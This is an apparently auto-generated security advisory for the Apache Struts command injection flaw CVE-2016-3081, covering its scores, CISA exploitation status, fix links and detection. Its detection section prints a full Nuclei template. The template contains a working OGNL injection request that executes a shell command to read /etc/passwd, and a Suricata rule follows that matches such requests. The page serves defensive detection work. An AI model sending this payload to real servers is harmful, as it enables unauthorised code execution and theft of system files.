CVE-2016-3081: Apache Struts Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-11 15:49 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
Description quoted from the CVE record (assigned by redhat, published 2016-04-26).
Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
How it can be exploited
Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2026-10-08
- US federal deadline
- 2026-10-11
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Exploit-DB entry, 1 Nuclei template and 5 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 19 references on Exploit Observer
Live scores
- EPSS
- 0.969
very likely to be attacked soon - VEDAS
- 0.982
strong exploit evidence - On CISA KEV
- Yes, since 2026-10-08
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
VEDAS flagged this bug about 543 days before CISA confirmed attacks.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Not stated | versions not stated in the record | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Vendor guidance:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2016-3081
How to detect it
Nuclei template (active check)
Apache Struts - Command Injection
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_M...); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2016-3081.yamlShow the template (35 lines)
id: CVE-2016-3081
info:
name: "Apache Struts - Command Injection"
author: vedas-arpsyndicate
severity: high
description: |
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is
enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
reference:
- https://www.exploit.observer/?keyword=CVE-2016-3081&match=exact
- https://subdomain.center/?engine=ammonites&keyword=struts&match=exact
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2016-3081
cwe-id: CWE-77
metadata:
verified: false
tags: cve2016,cve,struts,rce,apache,vuln,vkev
http:
- raw:
- |
GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2016-3081 Apache Struts - Command Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2016-3081 Apache Struts - Command Injection"; flow:established,to_server; http.uri; content:"index.action"; nocase; fast_pattern; content:"passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2016-3081; reference:url,https://www.exploit.observer/?keyword=CVE-2016-3081&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=struts&match=exact; sid:1011160; rev:1;)
Advisories on this CVE
- CISA KEV adds five old bugs at once: Struts S2-032, Strapi private-field leak, ONLYOFFICE path traversal, ProFTPD mod_copy and BIND TKEY (full advisory)
- Joint advisory AA26-281A: Chinese “Integrity Technology Group” enabled actors (8 Oct 2026)
- CISA KEV: five decade-old bugs in Struts, Strapi, ONLYOFFICE, ProFTPD and BIND added at once (CVE-2016-3081, CVE-2023-22894, CVE-2021-3199, CVE-2015-3306, CVE-2015-5477) (8 Oct 2026)
References
Exploit code
- 39756 (exploit, x_refsource_EXPLOIT-DB)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-3081 (government-resource)
Other references
- 1035665 (vdb-entry, x_refsource_SECTRACK)
- https://struts.apache.org/docs/s2-032.html (x_refsource_CONFIRM)
- http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en (x_refsource_CONFIRM)
- http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html (x_refsource_CONFIRM)
- http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html (x_refsource_CONFIRM)
- http://www.rapid7.com/db/modules/exploit/linux/http/struts_dmi_exec (x_refsource_MISC)
- 91787 (vdb-entry, x_refsource_BID)
- http://packetstormsecurity.com/files/136856/Apache-Struts-2.3.28-Dynamic-Method-Invocation-Remote-Code-Execution.html (x_refsource_MISC)
- 87327 (vdb-entry, x_refsource_BID)
- http://www.rapid7.com/db/modules/exploit/multi/http/struts_dmi_exec (x_refsource_MISC)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.